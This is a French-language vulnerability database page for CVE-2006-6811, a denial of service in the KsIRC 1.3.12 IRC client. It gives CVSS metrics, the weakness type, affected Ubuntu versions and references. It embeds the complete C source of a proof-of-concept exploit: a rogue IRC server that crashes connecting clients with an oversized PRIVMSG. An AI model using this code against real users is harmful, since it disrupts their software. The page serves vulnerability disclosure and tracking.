CVE-2006-6811 : Détail

CVE-2006-6811

6.5
/
MEDIUM
7.05%V3
Network
2006-12-29 10:00 +00:00
2018-10-17 18:57 +00:00

Alerte pour un CVE

Restez informé de toutes modifications pour un CVE spécifique.
Gestion des alertes

Descriptions

KsIRC 1.3.12 allows remote attackers to cause a denial of service (crash) via a long PRIVMSG string when connecting to an Internet Relay Chat (IRC) server, which causes an assertion failure and results in a NULL pointer dereference. NOTE: this issue was originally reported as a buffer overflow.

Informations

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-617 Reachable Assertion
The product contains an assert() or similar statement that can be triggered by an attacker, which leads to an application exit or other behavior that is more severe than necessary.

Metrics

Metric Score Sévérité CVSS Vecteur Source
V3.1 6.5 MEDIUM CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

Required

Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

None

There is no loss of confidentiality within the impacted component.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

None

There is no loss of integrity within the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

nvd@nist.gov
V2 4.3 AV:N/AC:M/Au:N/C:N/I:N/A:P nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

EPSS Score

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

EPSS Percentile

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 3023

Date de publication : 2006-12-25 23:00 +00:00
Auteur : Federico L. Bossi Bonin
EDB Vérifié : Yes

// KSirc 1.3.12 - PRIVMSG remote Buffer Overflow // PoC // // Federico L. Bossi Bonin // fbossi@globalst.com.ar // www.GlobalST.com.ar // #0 0xb7ea8792 in KSircIOController::stdout_read () from /usr/kde/3.5/lib/libkdeinit_ksirc.so // #1 0xb7ea78c8 in KSircIOController::qt_invoke () from /usr/kde/3.5/lib/libkdeinit_ksirc.so // #2 0xb6fedba4 in QObject::activate_signal () from /usr/qt/3/lib/libqt-mt.so.3 // #3 0xb765410b in KProcess::receivedStdout () from /usr/kde/3.5/lib/libkdecore.so.4 // #4 0x081a6e60 in ?? () // #5 0x081a7238 in ?? () // #6 0xbfcb0170 in ?? () // #7 0x00000000 in ?? () #include #include #include #include #define PORT 6667 #define LEN 2500 char buffer[LEN*2]; void sendbuff(int sock) { char ptr[LEN*2]; memset(buffer,0x0,sizeof(buffer)); memset(ptr,0x0,sizeof(ptr)); memset(ptr,0x41,LEN); sprintf(buffer,"PRIVMSG USER:%s\n\r",ptr); read(sock,ptr,sizeof(ptr)); write(sock,buffer,sizeof(buffer)); } int main() { struct sockaddr_in srv_addr, client; int len,pid,sockfd,sock; sockfd = socket(AF_INET, SOCK_STREAM, 0); if (sockfd < 0) { perror("error socket()"); exit(1); } bzero((char *) &srv_addr, sizeof(srv_addr)); srv_addr.sin_family = AF_INET; srv_addr.sin_addr.s_addr = INADDR_ANY; srv_addr.sin_port = htons(PORT); if (bind(sockfd, (struct sockaddr *) &srv_addr,sizeof(srv_addr)) < 0) { perror("error bind()"); exit(1); } printf("KSirc 1.3.12 - PRIVMSG remote PoC\n"); printf("====================================\n"); printf("Listening on port %i\n",PORT); listen(sockfd,5); len = sizeof(client); while (1) { sock = accept(sockfd, (struct sockaddr *) &client, &len); if (sock < 0) { perror("error accept()"); exit(1); } pid = fork(); if (pid < 0) { perror("fork()"); exit(1); } if (pid == 0) { close(sockfd); printf("Conection from %s\n",inet_ntoa(client.sin_addr)); sendbuff(sock); exit(0); } else close(sock); } return 0; } // milw0rm.com [2006-12-26]

Products Mentioned

Configuraton 0

Kde>>Ksirc >> Version 1.3.12

Configuraton 0

Canonical>>Ubuntu_linux >> Version 5.10

Canonical>>Ubuntu_linux >> Version 6.06

Canonical>>Ubuntu_linux >> Version 6.10

References

http://www.ubuntu.com/usn/usn-409-1
Tags : vendor-advisory, x_refsource_UBUNTU
https://www.exploit-db.com/exploits/3023
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.vupen.com/english/advisories/2006/5199
Tags : vdb-entry, x_refsource_VUPEN
http://www.securityfocus.com/bid/21790
Tags : vdb-entry, x_refsource_BID
http://www.mandriva.com/security/advisories?name=MDKSA-2007:009
Tags : vendor-advisory, x_refsource_MANDRIVA
http://osvdb.org/33443
Tags : vdb-entry, x_refsource_OSVDB
http://securitytracker.com/id?1017453
Tags : vdb-entry, x_refsource_SECTRACK
http://security.gentoo.org/glsa/glsa-200701-26.xml
Tags : vendor-advisory, x_refsource_GENTOO
Cliquez sur le bouton à gauche (OFF), pour autoriser l'inscription de cookie améliorant les fonctionnalités du site. Cliquez sur le bouton à gauche (Tout accepter), pour ne plus autoriser l'inscription de cookie améliorant les fonctionnalités du site.